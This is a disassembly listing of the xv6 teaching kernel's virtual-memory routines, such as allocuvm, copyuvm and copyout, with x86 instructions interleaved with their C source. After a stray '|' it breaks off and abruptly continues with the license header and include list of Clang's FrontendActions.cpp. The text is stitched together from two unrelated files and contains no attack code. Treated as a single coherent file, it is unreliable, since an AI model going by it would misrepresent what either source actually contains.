80106346: b8 28 00 00 00 mov $0x28,%eax
8010634b: 0f 00 d8 ltr %ax
ltr(SEG_TSS << 3);
lcr3(V2P(p->pgdir)); // switch to process's address space
8010634e: 8b 46 04 mov 0x4(%esi),%eax
80106351: 05 00 00 00 80 add $0x80000000,%eax
asm volatile("movl %0,%%cr3" : : "r" (val));
80106356: 0f 22 d8 mov %eax,%cr3
popcli();
80106359: e8 13 db ff ff call 80103e71 <popcli>
}
8010635e: 8d 65 f4 lea -0xc(%ebp),%esp
80106361: 5b pop %ebx
80106362: 5e pop %esi
80106363: 5f pop %edi
80106364: 5d pop %ebp
80106365: c3 ret
panic("switchuvm: no process");
80106366: 83 ec 0c sub $0xc,%esp
80106369: 68 b6 71 10 80 push $0x801071b6
8010636e: e8 e9 9f ff ff call 8010035c <panic>
panic("switchuvm: no kstack");
80106373: 83 ec 0c sub $0xc,%esp
80106376: 68 cc 71 10 80 push $0x801071cc
8010637b: e8 dc 9f ff ff call 8010035c <panic>
panic("switchuvm: no pgdir");
80106380: 83 ec 0c sub $0xc,%esp
80106383: 68 e1 71 10 80 push $0x801071e1
80106388: e8 cf 9f ff ff call 8010035c <panic>
8010638d <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
8010638d: f3 0f 1e fb endbr32
80106391: 55 push %ebp
80106392: 89 e5 mov %esp,%ebp
80106394: 56 push %esi
80106395: 53 push %ebx
80106396: 8b 75 10 mov 0x10(%ebp),%esi
char *mem;
if(sz >= PGSIZE)
80106399: 81 fe ff 0f 00 00 cmp $0xfff,%esi
8010639f: 77 4c ja 801063ed <inituvm+0x60>
panic("inituvm: more than a page");
mem = kalloc();
801063a1: e8 ac bd ff ff call 80102152 <kalloc>
801063a6: 89 c3 mov %eax,%ebx
memset(mem, 0, PGSIZE);
801063a8: 83 ec 04 sub $0x4,%esp
801063ab: 68 00 10 00 00 push $0x1000
801063b0: 6a 00 push $0x0
801063b2: 50 push %eax
801063b3: e8 15 dc ff ff call 80103fcd <memset>
mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U);
801063b8: 83 c4 08 add $0x8,%esp
801063bb: 6a 06 push $0x6
801063bd: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801063c3: 50 push %eax
801063c4: b9 00 10 00 00 mov $0x1000,%ecx
801063c9: ba 00 00 00 00 mov $0x0,%edx
801063ce: 8b 45 08 mov 0x8(%ebp),%eax
801063d1: e8 c3 fc ff ff call 80106099 <mappages>
memmove(mem, init, sz);
801063d6: 83 c4 0c add $0xc,%esp
801063d9: 56 push %esi
801063da: ff 75 0c pushl 0xc(%ebp)
801063dd: 53 push %ebx
801063de: e8 6a dc ff ff call 8010404d <memmove>
}
801063e3: 83 c4 10 add $0x10,%esp
801063e6: 8d 65 f8 lea -0x8(%ebp),%esp
801063e9: 5b pop %ebx
801063ea: 5e pop %esi
801063eb: 5d pop %ebp
801063ec: c3 ret
panic("inituvm: more than a page");
801063ed: 83 ec 0c sub $0xc,%esp
801063f0: 68 f5 71 10 80 push $0x801071f5
801063f5: e8 62 9f ff ff call 8010035c <panic>
801063fa <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
801063fa: f3 0f 1e fb endbr32
801063fe: 55 push %ebp
801063ff: 89 e5 mov %esp,%ebp
80106401: 57 push %edi
80106402: 56 push %esi
80106403: 53 push %ebx
80106404: 83 ec 0c sub $0xc,%esp
80106407: 8b 7d 18 mov 0x18(%ebp),%edi
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
8010640a: 8b 5d 0c mov 0xc(%ebp),%ebx
8010640d: 81 e3 ff 0f 00 00 and $0xfff,%ebx
80106413: 74 3c je 80106451 <loaduvm+0x57>
panic("loaduvm: addr must be page aligned");
80106415: 83 ec 0c sub $0xc,%esp
80106418: 68 b0 72 10 80 push $0x801072b0
8010641d: e8 3a 9f ff ff call 8010035c <panic>
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
80106422: 83 ec 0c sub $0xc,%esp
80106425: 68 0f 72 10 80 push $0x8010720f
8010642a: e8 2d 9f ff ff call 8010035c <panic>
pa = PTE_ADDR(*pte);
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
8010642f: 05 00 00 00 80 add $0x80000000,%eax
80106434: 56 push %esi
80106435: 89 da mov %ebx,%edx
80106437: 03 55 14 add 0x14(%ebp),%edx
8010643a: 52 push %edx
8010643b: 50 push %eax
8010643c: ff 75 10 pushl 0x10(%ebp)
8010643f: e8 8c b3 ff ff call 801017d0 <readi>
80106444: 83 c4 10 add $0x10,%esp
80106447: 39 f0 cmp %esi,%eax
80106449: 75 47 jne 80106492 <loaduvm+0x98>
for(i = 0; i < sz; i += PGSIZE){
8010644b: 81 c3 00 10 00 00 add $0x1000,%ebx
80106451: 39 fb cmp %edi,%ebx
80106453: 73 30 jae 80106485 <loaduvm+0x8b>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
80106455: 89 da mov %ebx,%edx
80106457: 03 55 0c add 0xc(%ebp),%edx
8010645a: b9 00 00 00 00 mov $0x0,%ecx
8010645f: 8b 45 08 mov 0x8(%ebp),%eax
80106462: e8 c1 fb ff ff call 80106028 <walkpgdir>
80106467: 85 c0 test %eax,%eax
80106469: 74 b7 je 80106422 <loaduvm+0x28>
pa = PTE_ADDR(*pte);
8010646b: 8b 00 mov (%eax),%eax
8010646d: 25 00 f0 ff ff and $0xfffff000,%eax
if(sz - i < PGSIZE)
80106472: 89 fe mov %edi,%esi
80106474: 29 de sub %ebx,%esi
80106476: 81 fe ff 0f 00 00 cmp $0xfff,%esi
8010647c: 76 b1 jbe 8010642f <loaduvm+0x35>
n = PGSIZE;
8010647e: be 00 10 00 00 mov $0x1000,%esi
80106483: eb aa jmp 8010642f <loaduvm+0x35>
return -1;
}
return 0;
80106485: b8 00 00 00 00 mov $0x0,%eax
}
8010648a: 8d 65 f4 lea -0xc(%ebp),%esp
8010648d: 5b pop %ebx
8010648e: 5e pop %esi
8010648f: 5f pop %edi
80106490: 5d pop %ebp
80106491: c3 ret
return -1;
80106492: b8 ff ff ff ff mov $0xffffffff,%eax
80106497: eb f1 jmp 8010648a <loaduvm+0x90>
80106499 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80106499: f3 0f 1e fb endbr32
8010649d: 55 push %ebp
8010649e: 89 e5 mov %esp,%ebp
801064a0: 57 push %edi
801064a1: 56 push %esi
801064a2: 53 push %ebx
801064a3: 83 ec 0c sub $0xc,%esp
801064a6: 8b 7d 0c mov 0xc(%ebp),%edi
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
801064a9: 39 7d 10 cmp %edi,0x10(%ebp)
801064ac: 73 11 jae 801064bf <deallocuvm+0x26>
return oldsz;
a = PGROUNDUP(newsz);
801064ae: 8b 45 10 mov 0x10(%ebp),%eax
801064b1: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx
801064b7: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < oldsz; a += PGSIZE){
801064bd: eb 19 jmp 801064d8 <deallocuvm+0x3f>
return oldsz;
801064bf: 89 f8 mov %edi,%eax
801064c1: eb 64 jmp 80106527 <deallocuvm+0x8e>
pte = walkpgdir(pgdir, (char*)a, 0);
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
801064c3: c1 eb 16 shr $0x16,%ebx
801064c6: 83 c3 01 add $0x1,%ebx
801064c9: c1 e3 16 shl $0x16,%ebx
801064cc: 81 eb 00 10 00 00 sub $0x1000,%ebx
for(; a < oldsz; a += PGSIZE){
801064d2: 81 c3 00 10 00 00 add $0x1000,%ebx
801064d8: 39 fb cmp %edi,%ebx
801064da: 73 48 jae 80106524 <deallocuvm+0x8b>
pte = walkpgdir(pgdir, (char*)a, 0);
801064dc: b9 00 00 00 00 mov $0x0,%ecx
801064e1: 89 da mov %ebx,%edx
801064e3: 8b 45 08 mov 0x8(%ebp),%eax
801064e6: e8 3d fb ff ff call 80106028 <walkpgdir>
801064eb: 89 c6 mov %eax,%esi
if(!pte)
801064ed: 85 c0 test %eax,%eax
801064ef: 74 d2 je 801064c3 <deallocuvm+0x2a>
else if((*pte & PTE_P) != 0){
801064f1: 8b 00 mov (%eax),%eax
801064f3: a8 01 test $0x1,%al
801064f5: 74 db je 801064d2 <deallocuvm+0x39>
pa = PTE_ADDR(*pte);
if(pa == 0)
801064f7: 25 00 f0 ff ff and $0xfffff000,%eax
801064fc: 74 19 je 80106517 <deallocuvm+0x7e>
panic("kfree");
char *v = P2V(pa);
801064fe: 05 00 00 00 80 add $0x80000000,%eax
kfree(v);
80106503: 83 ec 0c sub $0xc,%esp
80106506: 50 push %eax
80106507: e8 1f bb ff ff call 8010202b <kfree>
*pte = 0;
8010650c: c7 06 00 00 00 00 movl $0x0,(%esi)
80106512: 83 c4 10 add $0x10,%esp
80106515: eb bb jmp 801064d2 <deallocuvm+0x39>
panic("kfree");
80106517: 83 ec 0c sub $0xc,%esp
8010651a: 68 66 6b 10 80 push $0x80106b66
8010651f: e8 38 9e ff ff call 8010035c <panic>
}
}
return newsz;
80106524: 8b 45 10 mov 0x10(%ebp),%eax
}
80106527: 8d 65 f4 lea -0xc(%ebp),%esp
8010652a: 5b pop %ebx
8010652b: 5e pop %esi
8010652c: 5f pop %edi
8010652d: 5d pop %ebp
8010652e: c3 ret
8010652f <allocuvm>:
{
8010652f: f3 0f 1e fb endbr32
80106533: 55 push %ebp
80106534: 89 e5 mov %esp,%ebp
80106536: 57 push %edi
80106537: 56 push %esi
80106538: 53 push %ebx
80106539: 83 ec 1c sub $0x1c,%esp
8010653c: 8b 7d 10 mov 0x10(%ebp),%edi
if(newsz >= KERNBASE)
8010653f: 89 7d e4 mov %edi,-0x1c(%ebp)
80106542: 85 ff test %edi,%edi
80106544: 0f 88 c0 00 00 00 js 8010660a <allocuvm+0xdb>
if(newsz < oldsz)
8010654a: 3b 7d 0c cmp 0xc(%ebp),%edi
8010654d: 72 11 jb 80106560 <allocuvm+0x31>
a = PGROUNDUP(oldsz);
8010654f: 8b 45 0c mov 0xc(%ebp),%eax
80106552: 8d b0 ff 0f 00 00 lea 0xfff(%eax),%esi
80106558: 81 e6 00 f0 ff ff and $0xfffff000,%esi
for(; a < newsz; a += PGSIZE){
8010655e: eb 39 jmp 80106599 <allocuvm+0x6a>
return oldsz;
80106560: 8b 45 0c mov 0xc(%ebp),%eax
80106563: 89 45 e4 mov %eax,-0x1c(%ebp)
80106566: e9 a6 00 00 00 jmp 80106611 <allocuvm+0xe2>
cprintf("allocuvm out of memory\n");
8010656b: 83 ec 0c sub $0xc,%esp
8010656e: 68 2d 72 10 80 push $0x8010722d
80106573: e8 b1 a0 ff ff call 80100629 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
80106578: 83 c4 0c add $0xc,%esp
8010657b: ff 75 0c pushl 0xc(%ebp)
8010657e: 57 push %edi
8010657f: ff 75 08 pushl 0x8(%ebp)
80106582: e8 12 ff ff ff call 80106499 <deallocuvm>
return 0;
80106587: 83 c4 10 add $0x10,%esp
8010658a: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80106591: eb 7e jmp 80106611 <allocuvm+0xe2>
for(; a < newsz; a += PGSIZE){
80106593: 81 c6 00 10 00 00 add $0x1000,%esi
80106599: 39 fe cmp %edi,%esi
8010659b: 73 74 jae 80106611 <allocuvm+0xe2>
mem = kalloc();
8010659d: e8 b0 bb ff ff call 80102152 <kalloc>
801065a2: 89 c3 mov %eax,%ebx
if(mem == 0){
801065a4: 85 c0 test %eax,%eax
801065a6: 74 c3 je 8010656b <allocuvm+0x3c>
memset(mem, 0, PGSIZE);
801065a8: 83 ec 04 sub $0x4,%esp
801065ab: 68 00 10 00 00 push $0x1000
801065b0: 6a 00 push $0x0
801065b2: 50 push %eax
801065b3: e8 15 da ff ff call 80103fcd <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
801065b8: 83 c4 08 add $0x8,%esp
801065bb: 6a 06 push $0x6
801065bd: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801065c3: 50 push %eax
801065c4: b9 00 10 00 00 mov $0x1000,%ecx
801065c9: 89 f2 mov %esi,%edx
801065cb: 8b 45 08 mov 0x8(%ebp),%eax
801065ce: e8 c6 fa ff ff call 80106099 <mappages>
801065d3: 83 c4 10 add $0x10,%esp
801065d6: 85 c0 test %eax,%eax
801065d8: 79 b9 jns 80106593 <allocuvm+0x64>
cprintf("allocuvm out of memory (2)\n");
801065da: 83 ec 0c sub $0xc,%esp
801065dd: 68 45 72 10 80 push $0x80107245
801065e2: e8 42 a0 ff ff call 80100629 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
801065e7: 83 c4 0c add $0xc,%esp
801065ea: ff 75 0c pushl 0xc(%ebp)
801065ed: 57 push %edi
801065ee: ff 75 08 pushl 0x8(%ebp)
801065f1: e8 a3 fe ff ff call 80106499 <deallocuvm>
kfree(mem);
801065f6: 89 1c 24 mov %ebx,(%esp)
801065f9: e8 2d ba ff ff call 8010202b <kfree>
return 0;
801065fe: 83 c4 10 add $0x10,%esp
80106601: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80106608: eb 07 jmp 80106611 <allocuvm+0xe2>
return 0;
8010660a: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
}
80106611: 8b 45 e4 mov -0x1c(%ebp),%eax
80106614: 8d 65 f4 lea -0xc(%ebp),%esp
80106617: 5b pop %ebx
80106618: 5e pop %esi
80106619: 5f pop %edi
8010661a: 5d pop %ebp
8010661b: c3 ret
8010661c <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
8010661c: f3 0f 1e fb endbr32
80106620: 55 push %ebp
80106621: 89 e5 mov %esp,%ebp
80106623: 56 push %esi
80106624: 53 push %ebx
80106625: 8b 75 08 mov 0x8(%ebp),%esi
uint i;
if(pgdir == 0)
80106628: 85 f6 test %esi,%esi
8010662a: 74 1a je 80106646 <freevm+0x2a>
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
8010662c: 83 ec 04 sub $0x4,%esp
8010662f: 6a 00 push $0x0
80106631: 68 00 00 00 80 push $0x80000000
80106636: 56 push %esi
80106637: e8 5d fe ff ff call 80106499 <deallocuvm>
for(i = 0; i < NPDENTRIES; i++){
8010663c: 83 c4 10 add $0x10,%esp
8010663f: bb 00 00 00 00 mov $0x0,%ebx
80106644: eb 26 jmp 8010666c <freevm+0x50>
panic("freevm: no pgdir");
80106646: 83 ec 0c sub $0xc,%esp
80106649: 68 61 72 10 80 push $0x80107261
8010664e: e8 09 9d ff ff call 8010035c <panic>
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
80106653: 25 00 f0 ff ff and $0xfffff000,%eax
80106658: 05 00 00 00 80 add $0x80000000,%eax
kfree(v);
8010665d: 83 ec 0c sub $0xc,%esp
80106660: 50 push %eax
80106661: e8 c5 b9 ff ff call 8010202b <kfree>
80106666: 83 c4 10 add $0x10,%esp
for(i = 0; i < NPDENTRIES; i++){
80106669: 83 c3 01 add $0x1,%ebx
8010666c: 81 fb ff 03 00 00 cmp $0x3ff,%ebx
80106672: 77 09 ja 8010667d <freevm+0x61>
if(pgdir[i] & PTE_P){
80106674: 8b 04 9e mov (%esi,%ebx,4),%eax
80106677: a8 01 test $0x1,%al
80106679: 74 ee je 80106669 <freevm+0x4d>
8010667b: eb d6 jmp 80106653 <freevm+0x37>
}
}
kfree((char*)pgdir);
8010667d: 83 ec 0c sub $0xc,%esp
80106680: 56 push %esi
80106681: e8 a5 b9 ff ff call 8010202b <kfree>
}
80106686: 83 c4 10 add $0x10,%esp
80106689: 8d 65 f8 lea -0x8(%ebp),%esp
8010668c: 5b pop %ebx
8010668d: 5e pop %esi
8010668e: 5d pop %ebp
8010668f: c3 ret
80106690 <setupkvm>:
{
80106690: f3 0f 1e fb endbr32
80106694: 55 push %ebp
80106695: 89 e5 mov %esp,%ebp
80106697: 56 push %esi
80106698: 53 push %ebx
if((pgdir = (pde_t*)kalloc()) == 0)
80106699: e8 b4 ba ff ff call 80102152 <kalloc>
8010669e: 89 c6 mov %eax,%esi
801066a0: 85 c0 test %eax,%eax
801066a2: 74 55 je 801066f9 <setupkvm+0x69>
memset(pgdir, 0, PGSIZE);
801066a4: 83 ec 04 sub $0x4,%esp
801066a7: 68 00 10 00 00 push $0x1000
801066ac: 6a 00 push $0x0
801066ae: 50 push %eax
801066af: e8 19 d9 ff ff call 80103fcd <memset>
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
801066b4: 83 c4 10 add $0x10,%esp
801066b7: bb 20 a4 10 80 mov $0x8010a420,%ebx
801066bc: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
801066c2: 73 35 jae 801066f9 <setupkvm+0x69>
(uint)k->phys_start, k->perm) < 0) {
801066c4: 8b 43 04 mov 0x4(%ebx),%eax
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
801066c7: 8b 4b 08 mov 0x8(%ebx),%ecx
801066ca: 29 c1 sub %eax,%ecx
801066cc: 83 ec 08 sub $0x8,%esp
801066cf: ff 73 0c pushl 0xc(%ebx)
801066d2: 50 push %eax
801066d3: 8b 13 mov (%ebx),%edx
801066d5: 89 f0 mov %esi,%eax
801066d7: e8 bd f9 ff ff call 80106099 <mappages>
801066dc: 83 c4 10 add $0x10,%esp
801066df: 85 c0 test %eax,%eax
801066e1: 78 05 js 801066e8 <setupkvm+0x58>
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
801066e3: 83 c3 10 add $0x10,%ebx
801066e6: eb d4 jmp 801066bc <setupkvm+0x2c>
freevm(pgdir);
801066e8: 83 ec 0c sub $0xc,%esp
801066eb: 56 push %esi
801066ec: e8 2b ff ff ff call 8010661c <freevm>
return 0;
801066f1: 83 c4 10 add $0x10,%esp
801066f4: be 00 00 00 00 mov $0x0,%esi
}
801066f9: 89 f0 mov %esi,%eax
801066fb: 8d 65 f8 lea -0x8(%ebp),%esp
801066fe: 5b pop %ebx
801066ff: 5e pop %esi
80106700: 5d pop %ebp
80106701: c3 ret
80106702 <kvmalloc>:
{
80106702: f3 0f 1e fb endbr32
80106706: 55 push %ebp
80106707: 89 e5 mov %esp,%ebp
80106709: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
8010670c: e8 7f ff ff ff call 80106690 <setupkvm>
80106711: a3 a4 55 11 80 mov %eax,0x801155a4
switchkvm();
80106716: e8 44 fb ff ff call 8010625f <switchkvm>
}
8010671b: c9 leave
8010671c: c3 ret
8010671d <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
8010671d: f3 0f 1e fb endbr32
80106721: 55 push %ebp
80106722: 89 e5 mov %esp,%ebp
80106724: 83 ec 08 sub $0x8,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106727: b9 00 00 00 00 mov $0x0,%ecx
8010672c: 8b 55 0c mov 0xc(%ebp),%edx
8010672f: 8b 45 08 mov 0x8(%ebp),%eax
80106732: e8 f1 f8 ff ff call 80106028 <walkpgdir>
if(pte == 0)
80106737: 85 c0 test %eax,%eax
80106739: 74 05 je 80106740 <clearpteu+0x23>
panic("clearpteu");
*pte &= ~PTE_U;
8010673b: 83 20 fb andl $0xfffffffb,(%eax)
}
8010673e: c9 leave
8010673f: c3 ret
panic("clearpteu");
80106740: 83 ec 0c sub $0xc,%esp
80106743: 68 72 72 10 80 push $0x80107272
80106748: e8 0f 9c ff ff call 8010035c <panic>
8010674d <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
8010674d: f3 0f 1e fb endbr32
80106751: 55 push %ebp
80106752: 89 e5 mov %esp,%ebp
80106754: 57 push %edi
80106755: 56 push %esi
80106756: 53 push %ebx
80106757: 83 ec 1c sub $0x1c,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
8010675a: e8 31 ff ff ff call 80106690 <setupkvm>
8010675f: 89 45 dc mov %eax,-0x24(%ebp)
80106762: 85 c0 test %eax,%eax
80106764: 0f 84 c4 00 00 00 je 8010682e <copyuvm+0xe1>
return 0;
for(i = 0; i < sz; i += PGSIZE){
8010676a: bf 00 00 00 00 mov $0x0,%edi
8010676f: 3b 7d 0c cmp 0xc(%ebp),%edi
80106772: 0f 83 b6 00 00 00 jae 8010682e <copyuvm+0xe1>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80106778: 89 7d e4 mov %edi,-0x1c(%ebp)
8010677b: b9 00 00 00 00 mov $0x0,%ecx
80106780: 89 fa mov %edi,%edx
80106782: 8b 45 08 mov 0x8(%ebp),%eax
80106785: e8 9e f8 ff ff call 80106028 <walkpgdir>
8010678a: 85 c0 test %eax,%eax
8010678c: 74 65 je 801067f3 <copyuvm+0xa6>
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
8010678e: 8b 00 mov (%eax),%eax
80106790: a8 01 test $0x1,%al
80106792: 74 6c je 80106800 <copyuvm+0xb3>
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
80106794: 89 c6 mov %eax,%esi
80106796: 81 e6 00 f0 ff ff and $0xfffff000,%esi
flags = PTE_FLAGS(*pte);
8010679c: 25 ff 0f 00 00 and $0xfff,%eax
801067a1: 89 45 e0 mov %eax,-0x20(%ebp)
if((mem = kalloc()) == 0)
801067a4: e8 a9 b9 ff ff call 80102152 <kalloc>
801067a9: 89 c3 mov %eax,%ebx
801067ab: 85 c0 test %eax,%eax
801067ad: 74 6a je 80106819 <copyuvm+0xcc>
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
801067af: 81 c6 00 00 00 80 add $0x80000000,%esi
801067b5: 83 ec 04 sub $0x4,%esp
801067b8: 68 00 10 00 00 push $0x1000
801067bd: 56 push %esi
801067be: 50 push %eax
801067bf: e8 89 d8 ff ff call 8010404d <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) {
801067c4: 83 c4 08 add $0x8,%esp
801067c7: ff 75 e0 pushl -0x20(%ebp)
801067ca: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
801067d0: 50 push %eax
801067d1: b9 00 10 00 00 mov $0x1000,%ecx
801067d6: 8b 55 e4 mov -0x1c(%ebp),%edx
801067d9: 8b 45 dc mov -0x24(%ebp),%eax
801067dc: e8 b8 f8 ff ff call 80106099 <mappages>
801067e1: 83 c4 10 add $0x10,%esp
801067e4: 85 c0 test %eax,%eax
801067e6: 78 25 js 8010680d <copyuvm+0xc0>
for(i = 0; i < sz; i += PGSIZE){
801067e8: 81 c7 00 10 00 00 add $0x1000,%edi
801067ee: e9 7c ff ff ff jmp 8010676f <copyuvm+0x22>
panic("copyuvm: pte should exist");
801067f3: 83 ec 0c sub $0xc,%esp
801067f6: 68 7c 72 10 80 push $0x8010727c
801067fb: e8 5c 9b ff ff call 8010035c <panic>
panic("copyuvm: page not present");
80106800: 83 ec 0c sub $0xc,%esp
80106803: 68 96 72 10 80 push $0x80107296
80106808: e8 4f 9b ff ff call 8010035c <panic>
kfree(mem);
8010680d: 83 ec 0c sub $0xc,%esp
80106810: 53 push %ebx
80106811: e8 15 b8 ff ff call 8010202b <kfree>
goto bad;
80106816: 83 c4 10 add $0x10,%esp
}
}
return d;
bad:
freevm(d);
80106819: 83 ec 0c sub $0xc,%esp
8010681c: ff 75 dc pushl -0x24(%ebp)
8010681f: e8 f8 fd ff ff call 8010661c <freevm>
return 0;
80106824: 83 c4 10 add $0x10,%esp
80106827: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp)
}
8010682e: 8b 45 dc mov -0x24(%ebp),%eax
80106831: 8d 65 f4 lea -0xc(%ebp),%esp
80106834: 5b pop %ebx
80106835: 5e pop %esi
80106836: 5f pop %edi
80106837: 5d pop %ebp
80106838: c3 ret
80106839 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106839: f3 0f 1e fb endbr32
8010683d: 55 push %ebp
8010683e: 89 e5 mov %esp,%ebp
80106840: 83 ec 08 sub $0x8,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106843: b9 00 00 00 00 mov $0x0,%ecx
80106848: 8b 55 0c mov 0xc(%ebp),%edx
8010684b: 8b 45 08 mov 0x8(%ebp),%eax
8010684e: e8 d5 f7 ff ff call 80106028 <walkpgdir>
if((*pte & PTE_P) == 0)
80106853: 8b 00 mov (%eax),%eax
80106855: a8 01 test $0x1,%al
80106857: 74 10 je 80106869 <uva2ka+0x30>
return 0;
if((*pte & PTE_U) == 0)
80106859: a8 04 test $0x4,%al
8010685b: 74 13 je 80106870 <uva2ka+0x37>
return 0;
return (char*)P2V(PTE_ADDR(*pte));
8010685d: 25 00 f0 ff ff and $0xfffff000,%eax
80106862: 05 00 00 00 80 add $0x80000000,%eax
}
80106867: c9 leave
80106868: c3 ret
return 0;
80106869: b8 00 00 00 00 mov $0x0,%eax
8010686e: eb f7 jmp 80106867 <uva2ka+0x2e>
return 0;
80106870: b8 00 00 00 00 mov $0x0,%eax
80106875: eb f0 jmp 80106867 <uva2ka+0x2e>
80106877 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
80106877: f3 0f 1e fb endbr32
8010687b: 55 push %ebp
8010687c: 89 e5 mov %esp,%ebp
8010687e: 57 push %edi
8010687f: 56 push %esi
80106880: 53 push %ebx
80106881: 83 ec 0c sub $0xc,%esp
80106884: 8b 7d 14 mov 0x14(%ebp),%edi
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106887: eb 25 jmp 801068ae <copyout+0x37>
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
80106889: 8b 55 0c mov 0xc(%ebp),%edx
8010688c: 29 f2 sub %esi,%edx
8010688e: 01 d0 add %edx,%eax
80106890: 83 ec 04 sub $0x4,%esp
80106893: 53 push %ebx
80106894: ff 75 10 pushl 0x10(%ebp)
80106897: 50 push %eax
80106898: e8 b0 d7 ff ff call 8010404d <memmove>
len -= n;
8010689d: 29 df sub %ebx,%edi
buf += n;
8010689f: 01 5d 10 add %ebx,0x10(%ebp)
va = va0 + PGSIZE;
801068a2: 8d 86 00 10 00 00 lea 0x1000(%esi),%eax
801068a8: 89 45 0c mov %eax,0xc(%ebp)
801068ab: 83 c4 10 add $0x10,%esp
while(len > 0){
801068ae: 85 ff test %edi,%edi
801068b0: 74 2f je 801068e1 <copyout+0x6a>
va0 = (uint)PGROUNDDOWN(va);
801068b2: 8b 75 0c mov 0xc(%ebp),%esi
801068b5: 81 e6 00 f0 ff ff and $0xfffff000,%esi
pa0 = uva2ka(pgdir, (char*)va0);
801068bb: 83 ec 08 sub $0x8,%esp
801068be: 56 push %esi
801068bf: ff 75 08 pushl 0x8(%ebp)
801068c2: e8 72 ff ff ff call 80106839 <uva2ka>
if(pa0 == 0)
801068c7: 83 c4 10 add $0x10,%esp
801068ca: 85 c0 test %eax,%eax
801068cc: 74 20 je 801068ee <copyout+0x77>
n = PGSIZE - (va - va0);
801068ce: 89 f3 mov %esi,%ebx
801068d0: 2b 5d 0c sub 0xc(%ebp),%ebx
801068d3: 81 c3 00 10 00 00 add $0x1000,%ebx
if(n > len)
801068d9: 39 df cmp %ebx,%edi
801068db: 73 ac jae 80106889 <copyout+0x12>
n = len;
801068dd: 89 fb mov %edi,%ebx
801068df: eb a8 jmp 80106889 <copyout+0x12>
}
return 0;
801068e1: b8 00 00 00 00 mov $0x0,%eax
}
801068e6: 8d 65 f4 lea -0xc(%ebp),%esp
801068e9: 5b pop %ebx
801068ea: 5e pop %esi
801068eb: 5f pop %edi
801068ec: 5d pop %ebp
801068ed: c3 ret
return -1;
801068ee: b8 ff ff ff ff mov $0xffffffff,%eax
801068f3: eb f1 jmp 801068e6 <copyout+0x6f>
|
//===--- FrontendActions.cpp ----------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "clang/Frontend/FrontendActions.h"
#include "clang/AST/ASTConsumer.h"
#include "clang/Basic/FileManager.h"
#include "clang/Frontend/ASTConsumers.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendDiagnostic.h"
#include "clang/Frontend/MultiplexConsumer.h"
#include "clang/Frontend/Utils.h"
#include "clang/Lex/HeaderSearch.h"
#include "clang/Lex/Preprocessor.h"
#include "clang/Lex/PreprocessorOptions.h"
#include "clang/Serialization/ASTReader.h"
#include "clang/Serialization/ASTWriter.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/MemoryBuffer.h"
#include "llvm/Support/Path.h"
#include "llvm/Support/raw_ostream.h"
